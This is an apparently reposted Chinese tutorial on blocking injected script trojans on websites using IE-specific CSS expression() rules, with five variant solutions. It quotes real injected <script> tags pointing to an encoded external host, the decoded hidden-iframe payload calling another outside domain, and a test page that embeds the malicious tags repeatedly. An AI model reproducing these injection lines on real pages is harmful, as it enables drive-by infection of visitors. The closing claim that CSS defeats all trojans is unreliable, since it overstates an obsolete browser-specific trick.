《一行代码解决 iframe 挂马(包含服务器端注入、客户端 ARP 注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,看了几个网友的网站都被这样了——页面的顶部或底部加上了:
注意,以下地址含有木马,请不要轻易访问:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
一连插入了 N 个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个 http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),现形了:
document.write(“<div style=’display:none’>”)
document.write(“<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>”)
document.write(“</div>”)
又用迅雷下载 http://a.158dm.com/b1.htm 这个文件,一看,乱七八糟的 JS 编码,汗,不过找到了一个类似 QQ 号的数字,直接加加看,然后是专业提供网马的组织!
…
var Kfqq, Qqs=”784378237″; qwfgsg=”LLLL\\XXXXXLD”; Kfqq = Qqs;
(…略)(下面还有 N 个统计的 JS 代码)
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
对了,script 木马的 src 一般都是外域的,也就是 src 是以 http 打头的,如果是自己网站的 script 一般都不用加上 http;再看看木马的原形,里面还是输出的 iframe、JS 代码或是其他<object>代码,不管这么多,来多少杀多少。
来跟我写 CSS,一一搞定它们,我写了 5 种不同的方案,大家来测试一下哈:
解决方案1:
iframe{n1ifm:expression(this.src=’about:blank’,this.outerHTML=”);}/*这行代码是解决挂 IFRAME 木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(‘http’)==0)?document.write(‘木马被成功隔离!’):”);}
原理:将<script>标记的 src 拿出来转为小写,再看是不是以“http”开头的外域 JS 脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面
解决方案2:
iframe{nifm2:expression(this.src=’about:blank’,this.outerHTML=”);}
script{no2js:expression((this.src.toLowerCase().indexOf(‘http’)==0)?document.close():”);}
原理:将外域的 JS 文件的 document.write()使用 document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了
解决方案3:
iframe{ni3fm:expression(this.src=’about:blank’,this.outerHTML=”);}
script{n3ojs:expression((this.src.toLowerCase().indexOf(‘http’)==0)?
document.execCommand(‘stop’):”);}
原理:同到外域的 JS 文件,立即调用 IE 私有的 execCommand 方法来停止页面所有请求,所以接下来的外域 JS 文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是 JS 模拟 IE 停止按钮的一种方法。
解决方案4:
iframe{nif 4m :expression(this.src=’about:blank’,this.outerHTML=”);}
script{noj4s:expression(if(this.src.indexOf(‘http’)==0)this.src=’res://ieframe.dll/dnserror.htm’);}
原理:将外域的 JS 文件的 src 重写成本地 IE404 错误页面的地址,这样,外域的 JS 代码不会下载。
解决方案 5:
iframe{nifm5:expression(this.src=’about:blank’,this.outerHTML=”);}
script{noj5s:expression((this.id.toLowerCase().indexOf(‘lh’)==0)?document.write(‘木马被成功隔离!’):”));}
第五种方案的页面 HTML 源代码<script>中要加入以”lh”为前缀的 id,如 lhWeatherJSapi,<script src=”***/**.js” id=”lhSearchJSapi”></script>
以下页面代码里含有一个木马地址,而且木马在页面里重复了 6 次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
<!DOCTYPE html PUBLIC “-//W 3C //DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>让 JS 木马的进程迅速中止的 CSS 代码</title>
<style type=”text/css” id=”LinrStudio”>
/*<![CDATA[*/
iframe{nhk1:expression(this.src=’about:blank’,this.outerHTML=”);}
script{ngz1:expression((this.src.indexOf(‘http’)==0)?document.close():”);}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type=”text/javascript” src=”1.js”></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=”http://%76%63%63%64%2E%63%6E” type=”text/javascript”></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中 1.js 是自己本站的:
document.write(“我是本站的 JS 文件”);
document.write(“<img src=’http://www.baidu.com/images/logo.gif’ />”); 网页教学网
我的测试环境是:
Windows XP SP2 和 windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用 CSS 就可以解决所有木马问题,访客不会再轻易地中毒了。
本文来源:网络
暂无评论内容